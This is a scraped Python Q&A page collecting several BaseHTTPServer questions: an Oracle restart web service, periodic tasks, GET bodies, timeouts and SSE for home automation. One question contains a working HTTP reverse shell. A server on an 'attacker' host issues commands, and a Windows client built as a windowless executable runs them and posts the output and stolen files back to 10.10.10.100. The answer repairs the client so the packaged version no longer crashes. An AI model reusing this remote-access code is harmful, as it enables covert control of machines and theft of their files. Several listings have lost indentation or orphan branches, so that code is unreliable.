In order to allow helpdesk to restart an Oracle Instance, we are trying to implement a small python webserver that would start a shell script that starts the Oracle instance.
The code is done and it starts the instance but there is a problem: the instance is connected to the webserver, so the buffer to the browser is not closed until the instance has been stopped, and there is a ora_pmon_INSTANCE process listening on the webserver port.
I tried to launch the script with:
process = os.system("/home/oracle/scripts/webservice/prueba.sh TFINAN")
and
process = subprocess.Popen(["/home/oracle/scripts/webservice/prueba.sh", "TFINAN"], shell=False, stdout=subprocess.PIPE)`
but it happens the same.
I also tried to launch a script with daemon (using daemon function from redhat's init scripts). The script starts the Oracle instance with the same result.
This is my code:
#!/usr/bin/python
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from SocketServer import ThreadingMixIn
import threading
import argparse, urlparse
import re
import cgi, sys, time
import os, subprocess
class HTTPRequestHandler(BaseHTTPRequestHandler):
def do_POST(self):
self.send_response(403)
self.send_header('Content-Type', 'text/html')
self.end_headers()
return
def do_GET(self):
ko = False
respuesta = ""
params = {}
myProc = -1
parsed_path = urlparse.urlparse(self.path)
try:
params = dict([p.split('=') for p in parsed_path[4].split('&')])
except:
params = {}
elif None != re.search('/prueba/*', self.path):
self.send_response(200)
respuesta = "Hola Mundo! -->" + str( params['database'] )
elif None != re.search('/startup/*', self.path):
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.end_headers()
cmd = """ <html>
<body><H2> Iniciando instancia oracle: """ + str( params["database"]) + '. Espere un momento, por favor ...</H2>'
self.wfile.write(cmd)
#process = os.system("/home/oracle/scripts/webservice/prueba.sh INSTANCE")
process = subprocess.Popen(["/home/oracle/scripts/webservice/prueba.sh", "INSTANCE"], shell=False, stdout=subprocess.PIPE)
# wait for the process to terminate
out, err = process.communicate()
errcode = process.returncode
if errcode == 0:
self.wfile.write("""<H1> Instancia iniciada correctamente
</H1>
</body> </html>""")
self.wfile.close()
else:
respuestaok = "Error inicializando la instancia: " + str( params['database']) + " Intentelo de nuevo pasados unos minutos y si vuelve a fallar escale la incidencia al siguiente nivel de soporte"
else:
self.send_response(403, 'Bad Request: pagina no existe')
respuesta = "Solicitud no autorizada"
if respuesta != "":
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.end_headers()
self.wfile.write(respuesta)
self.wfile.close()
if ko:
server.stop()
return
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
allow_reuse_address = True
def shutdown(self):
self.socket.close()
sys.exit(0)
class SimpleHttpServer(object):
def __init__(self, ip, port):
self.server = ThreadedHTTPServer((ip,port), HTTPRequestHandler)
def start(self):
self.server_thread = threading.Thread(target=self.server.serve_forever)
self.server_thread.daemon = True
self.server_thread.start()
def waitForThread(self):
self.server_thread.join()
def stop(self):
self.server.shutdown()
if __name__=='__main__':
parser = argparse.ArgumentParser(description='HTTP Server')
parser.add_argument('port', type=int, help='Listening port for HTTP Server')
parser.add_argument('ip', help='HTTP Server IP')
args = parser.parse_args()
server = SimpleHttpServer(args.ip, args.port)
print 'HTTP Server Running...........'
server.start()
server.waitForThread()
Can any of you help me?
Your problem is not related much to HTTP server. You seem to have general problem to control Oracle daemon from Python code.
Try first writing a simple python script, which does what you need.
My guess is, that your attempts are having problems with reading output from daemon control script.
See also Popen.communicate() for reading output from the command. Other option could be to call subrocess.call()
There are many tutorials for calling system command from Python, e.g. this one
Apart of purely Python related problems you may run into problems with permission - if your user, running the script/HTTP server is not allowed to call oracle control script, you have another problem (which might have a solution, on Linux adding that user into sudoers).
After you resolve problems with calling the script, it shall be easy to make it working inside of your HTTP server.
Related
I´m using HTTPServer to listen for incoming POST requests and serving them. All is working fine with that.
I need to add some periodic tasks in the script (every X seconds: do something). As the HTTP server takes full command after
def run(server_class=HTTPServer, handler_class=S, port=9999):
server_address = (ethernetIP, port)
httpd = server_class(server_address, handler_class)
httpd.serve_forever()
I guess if there´s any way to include a check for time.time() as part of:
class S(BaseHTTPRequestHandler):
def _set_response(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
def do_GET(self):
self._set_response()
self.wfile.write("GET request for {}".format(self.path).encode('utf-8'))
def do_POST(self):
# my stuff here
Any ideas are welcome. Thanks!
Thanks to #rdas for pointing me to the separate thread solution. I tried schedule but it didn´t work with the HTTP server, because I can´t tell the script to run the pending jobs.
I tried with threading, running my periodic task as deamon.. and it worked! Here´s the code structure:
import time
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
polTime = 60 # how often we touch the file
polFile = "myfile.abc"
# this is the deamon thread
def polUpdate():
while True:
thisSecond = int(time.time())
if thisSecond % polTime == 0: # every X seconds
f = open(polFile,"w")
f.close() # touch and close
time.sleep(1) # avoid loopbacks
return "should never come this way"
# here´s the http server starter
def run(server_class=HTTPServer, handler_class=S, port=9999):
server_address = (ethernetIP, port)
httpd = server_class(server_address, handler_class)
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
sys.exit(1)
# init the thread as deamon
d = threading.Thread(target=polUpdate, name='Daemon')
d.setDaemon(True)
d.start()
# runs the HTTP server
run(port=conf_port)
The HTTP server doesn´t block the thread, so it works great.
By the way, I´m using the file 'touching' as proof of life for the process.
I'm writing a server in Python and I want to send some data in the body part of a GET request. Currently when I run my code it just freezes.
I tried to put it in a try/except and read details about the instance variable rfile but I didn't find anything helpful
Client-side :
import http.client
import sys
import os
#get http server ip
http_server = sys.argv[1]
#create a connection
conn = http.client.HTTPConnection(http_server)
while 1:
cmd = input('input command (ex. GET index.html): ')
cmd = cmd.split()
f = open('data.txt')
if cmd[0] == 'exit': #tipe exit to end it
break
#request command to server
conn.request(cmd[0],'',f.read())
#get response from server
rsp = conn.getresponse()
#print server response and data
print(rsp.status, rsp.reason)
data_received = rsp.read()
print(data_received)
Server-side :
from http.server import BaseHTTPRequestHandler,HTTPServer
import os
class TestHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
a = ''
fichier = open("data2.txt", "w")
try:
fichier.write(self.rfile.read())
except:
self.send_response(200)
self.send_header('Content-type','text-html')
self.end_headers()
return
def run():
print('http server is starting...')
server_address = ('127.0.0.1',80)
httpd = HTTPServer(server_address, PancakeHTTPRequestHandler)
print('htttp server is running...')
httpd.serve_forever()
if __name__ == '__main__':
run()
I expect being able to write my data from my GET request in my data2.txt file.
Thank you for your help
It freezes because of the self.rfile.read() in your server.py. The read method expect either EOF or a byte length to read. See https://docs.python.org/3/library/io.html#io.BufferedIOBase.read
You're trying to log the client requests made to the server, a quick work around would be to pass the content length of the request to the read method with int(self.headers.get('Content-Length'))
In the end it gives us:
client.py
import http.client
import sys
import os
#get http server ip
http_server = sys.argv[1]
#create a connection
conn = http.client.HTTPConnection(http_server)
while 1:
cmd = input('input command (ex. GET index.html): ')
cmd = cmd.split()
f = open('data.txt')
if cmd[0] == 'exit': #tipe exit to end it
break
#request command to server
conn.request(cmd[0], '', f.read())
#get response from server
rsp = conn.getresponse()
#print server response and data
print(rsp.status, rsp.reason)
data_received = rsp.read()
print(data_received)
server.py
from http.server import BaseHTTPRequestHandler,HTTPServer
import os
class TestHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
a = ''
fichier = open("data2.txt", "a")
try:
content_length = int(self.headers.get('Content-Length'))
response_str = self.rfile.read(content_length)
fichier.write(response_str.decode('utf-8'))
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
except:
self.send_response(200)
self.send_header('Content-type','text-html')
self.end_headers()
fichier.close()
return
def run():
print('http server is starting...')
server_address = ('127.0.0.1',80)
httpd = HTTPServer(server_address, TestHTTPRequestHandler)
print('htttp server is running...')
httpd.serve_forever()
if __name__ == '__main__':
run()
ps. I don't know what PancakeHTTPRequestHandler was so I replaced it with TestHTTPRequestHandler. And I also added a response in try except on the server side so that the the client gets a response otherwise it will crash.
I have a Python (2.7.13) HTTP Server running in Debian, I want to stop any GET request that takes longer than 10 seconds, but can't find a solution anywhere.
I already tried all the snippets posted in the following question: How to implement Timeout in BaseHTTPServer.BaseHTTPRequestHandler Python
#!/usr/bin/env python
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import os
class handlr(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-type','text-html')
self.end_headers()
self.wfile.write(os.popen('sleep 20 & echo "this took 20 seconds"').read())
def run():
server_address = ('127.0.0.1', 8080)
httpd = HTTPServer(server_address, handlr)
httpd.serve_forever()
if __name__ == '__main__':
run()
As a test, I'm running a shell command that takes 20 seconds to execute, so I need the server stop before that.
Put your operation on a background thread, and then wait for your background thread to finish. There isn't a general-purpose safe way to abort threads, so this implementation unfortunately leaves the function running in the background even though it had already given up.
If you can, you might consider putting a proxy server (like say nginx) in front of your server and let it handle timeouts for you, or perhaps use a more robust HTTP server implementation that allows this as a configuration option. But the answer below should basically cover it.
#!/usr/bin/env python
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import os
import threading
class handlr(BaseHTTPRequestHandler):
def do_GET(self):
result, succeeded = run_with_timeout(lambda: os.popen('sleep 20 & echo "this took 20 seconds"').read(), timeout=3)
if succeeded:
self.send_response(200)
self.send_header('Content-type','text-html')
self.end_headers()
self.wfile.write(os.popen('sleep 20 & echo "this took 20 seconds"').read())
else:
self.send_response(500)
self.send_header('Content-type','text-html')
self.end_headers()
self.wfile.write('<html><head></head><body>Sad panda</body></html>')
self.wfile.close()
def run():
server_address = ('127.0.0.1', 8080)
httpd = HTTPServer(server_address, handlr)
httpd.serve_forever()
def run_with_timeout(fn, timeout):
lock = threading.Lock()
result = [None, False]
def run_callback():
r = fn()
with lock:
result[0] = r
result[1] = True
t = threading.Thread(target=run_callback)
t.daemon = True
t.start()
t.join(timeout)
with lock:
return tuple(result)
if __name__ == '__main__':
run()
I am fairly new to programming with python, and was able to get the code to work when running the script from the interpreter. However, when i use pyinstaller to create a windowless single file executable it crashes when i send the client a simple command such as dir. The server side runs on a Kali VM and the client runs from a Windows VM.
I was hoping someone might be able to see something i am missing that would cause the client to crash when run from an exe but works fine from the interpreter.
Server Code:
from http.server import BaseHTTPRequestHandler, HTTPServer
import os, cgi
hostname = "10.10.10.100" #Host(attacker) IP address
port = 80 #Listening port number
class MyHandler(BaseHTTPRequestHandler):
def do_GET(self):
command = input("Shell> ") #get command input
self.send_response(200) #send OK message
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(command.encode()) #send command to client
def do_POST(self):
if self.path == "/store": #Check for /store in URL signalling a file transfer
try:
ctype, pdict = cgi.parse_header(self.headers["content-type"])
if ctype == "multipart/form-data":
fs = cgi.FieldStorage(fp = self.rfile, headers = self.headers, environ ={"REQUEST_METHOD":"POST"})
else:
print("[-] Unexpected POST request")
fs_up = fs["file"] #Here file is the key to hold the actual file
with open("/root/Desktop/1.txt", "wb") as tfile: #Create new file and write contents into this file
tfile.write(fs_up.file.read())
self.send_response(200)
self.end_headers()
except Exception as e:
print(e)
return # once we store the received file in our file holder, we exit the function
self.send_response(200)
self.end_headers()
length = int(self.headers["Content-Length"]) #Define the length which means how many bytes the HTTP POST data contains
postVar = self.rfile.read(length) # Read then print the posted data
print(postVar.decode())
if __name__ == "__main__":
server_class = HTTPServer
myServer = server_class((hostname, port), MyHandler)
try:
myServer.serve_forever()
except KeyboardInterrupt: #if we got ctrl+c we will Interrupt and stop the server
print("[!] Server terminated")
myServer.server_close()
Client Code:
import requests #requests library
import subprocess #system operations
import time #time library
import os
while True:
req = requests.get("http://10.10.10.100") # This sends get request to the Attacker
command = req.text # Received text will be saved in command variable
if "terminate" in command:
break #terminate connection
elif "grab" in command:
grab,path = command.split("*")
if os.path.exists(path): #check if file exists
url = "http://10.10.10.100/store" #Append /store in the URL to signal file transfer
files = {"file": open(path, "rb")} # Add a dictionary key where file will be stored
r = requests.post(url, files=files) # Send the file
else:
post_response = requests.post(url="http://10.10.10.100", data="[-] File not found")
else: #execute given command
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
post_response = requests.post(url="http://10.10.10.100", data=CMD.stdout.read()) # POST the result
post_response = requests.post(url="http://10.10.10.100", data=CMD.stderr.read()) # POST the error
time.sleep(3) # create a pause between commands
Finally found a post pointing me in the correct direction. The following line needed to be change from:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
To:
CMD = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
i am new in web development. i am creating a web app for my home automation project, in which i need bi-directional communication. any theft-security alert from home will be send to client from server or if client want to control the main gate, he'll sent a POST request to server. I am still confused what thing to use, SSE or Web sockets. my question is, is it possible to develop an app that uses both, SSE as well as handles traditional (long-polling) HTTP requests from client (GET/POST) ? i have tested each of them individually and they work fine but i am unable to make them work together. i am using python BaseHTTPServer. Or at last, do i have to move to WebSocket? Any suggestion will be highly appreciated. my code here is;
import time
import BaseHTTPServer
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from SocketServer import ThreadingMixIn
import os
import requests
import threading
from threading import Thread
from chk_connection import is_connected
import socket
HOST_NAME = socket.gethostbyname(socket.gethostname())
PORT_NUMBER = 8040 # Maybe set this to 9000.
ajax_count=0
ajax_count_str=""
switch=0
IP_Update_time=2
keep_alive=0
connected=False
###############################
##############
my_dir = os.getcwd()
class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_HEAD(s):
s.send_response(200)
s.send_header("Content-type", "text/html")
s.end_headers()
def do_POST(s):
global keep_alive
"""Respond to a POST request."""
s.send_response(200)
s.send_header('Access-Control-Allow-Origin', '*')
s.send_header("Content-type", "text/html")
s.end_headers()
HTTP_request=s.requestline
if HTTP_request.find('keep_alive')>-1:
keep_alive += 1
keep_alive_str = str(keep_alive)
s.wfile.write(keep_alive_str) #sending ajax calls for keep alive
def do_GET(s):
global ajax_count
global my_dir
global switch
global ajax_count_str
global keep_alive
#print 'got Get',
"""Respond to a GET request."""
s.send_response(200)
#s.send_header('Access-Control-Allow-Origin', '*')
s.send_header('content-type', 'text/html')
s.end_headers()
print s.headers
HTTP_request=s.requestline
index_1=HTTP_request.index("GET /")
index_2=HTTP_request.index(" HTTP/1.1")
file_name=HTTP_request[index_1+5:index_2]
#print 'file_name:',file_name
#print 'HTTP_request:',HTTP_request
#if len(file_name)>0:
#if HTTP_request.find('L2ON')>-1:
# print 'sending SSE'
# s.wfile.write('event::'.format(time.time()))
elif HTTP_request.find('GET / HTTP/1.1')>-1:
print 'send main'
file1=open('Index.html','r')
file_read=file1.read()
s.wfile.write(file_read)
elif file_name.find("/")==-1:
for root, dirs, files in os.walk(my_dir):
#print 'in for 1'
for file in files:
#print 'in for'
if HTTP_request.find(file)>-1:
file_path=os.path.join(root,file)
file1=open(file_path,'r')
file_read=file1.read()
s.wfile.write(file_read)
print 'send',file
elif file_name.find("/")>-1:
#print 'get /...'
slash_indexes=[n for n in xrange(len(file_name)) if file_name.find('/', n)==n]
length=len(slash_indexes)
slash=slash_indexes[length-1]
file_path=file_name[0:slash]
root_dir=(my_dir + '/' + file_path + '/')
for root, dirs, files in os.walk(root_dir):
for file in files:
if HTTP_request.find(file)>-1:
image_path=os.path.join(root,file)
image=open(image_path,'r')
image_read=image.read()
s.wfile.write(image_read)
print 'send',file
#else:
#print 'file not found'
class MyHandler_SSE(BaseHTTPRequestHandler):
print 'SSE events class'
def do_GET(self):
print 'this is SSE'
self.send_response(200)
self.send_header('content-type', 'text/event-stream')
self.end_headers()
while True:
print 'SSE sent'
self.wfile.write('event: message\nid: 1\ndata: {0}\ndata:\n\n'.format(time.time()))
time.sleep(2)
class chk_connection(threading.Thread):
"""
# this thread checks weather there is internet connection available ?
"""
def __init__(self):
threading.Thread.__init__(self)
def run(self):
global connected
while 1:
########################################################## INSIDE THE chk_connection import is_connected
#import socket
#REMOTE_SERVER = "www.google.com"
#def is_connected():
#try:
# # see if we can resolve the host name -- tells us if there is
# # a DNS listening
# host = socket.gethostbyname(REMOTE_SERVER)
# connect to the host -- tells us if the host is actually
# reachable
# s = socket.create_connection((host, 80), 2)
# return True
#except:
# pass
#return False
##########################################################
connected=is_connected()
#print 'internet:', connected
time.sleep(1)
class server_main(threading.Thread):
"""
"""
def __init__(self):
threading.Thread.__init__(self)
def run(self):
global connected
#print 'shutdown started'
server_class = BaseHTTPServer.HTTPServer
HOST_NAME = socket.gethostbyname(socket.gethostname())
last_HOST_NAME = HOST_NAME
httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
#http_SSE = server_class((HOST_NAME, PORT_NUMBER), MyHandler_SSE)
print time.asctime(), "Server Starts - %s:%s" % (HOST_NAME, PORT_NUMBER)
while(1):
while is_connected():
httpd._handle_request_noblock()
#print 'no block'
#http_SSE._handle_request_noblock()
time.sleep(1)
HOST_NAME = socket.gethostbyname(socket.gethostname())
if HOST_NAME != last_HOST_NAME:
print 'Serving at new host:', HOST_NAME
httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
def start():
tx_socket_thread3 = chk_connection() # this thread checks weather there is internet connection available ?
tx_socket_thread3.start()
tx_socket_thread5 = server_main()
tx_socket_thread5.start()
print 's1:',tx_socket_thread1.is_alive()
if __name__ == '__main__':
start()
i might need to modify the code in a new manner, but don't know how. What i want is, if any interrupt happens at server side, it pulls data to client, and mean while it also responds to the GET and POST requests from client. Help Plx...
It is definitely possible to develop a web application which uses a mixture of normal HTTP traffic, server-side events and WebSockets. However, the web server classes in Python standard library are not designed for this purpose, though one can probably make them to work with enough hammering. You should to install a proper web server and use it facilities.
Examples include
uWSGI and server-side events with WSGI applications
Tornado and WebSockets
Furthermore
Installing Python packages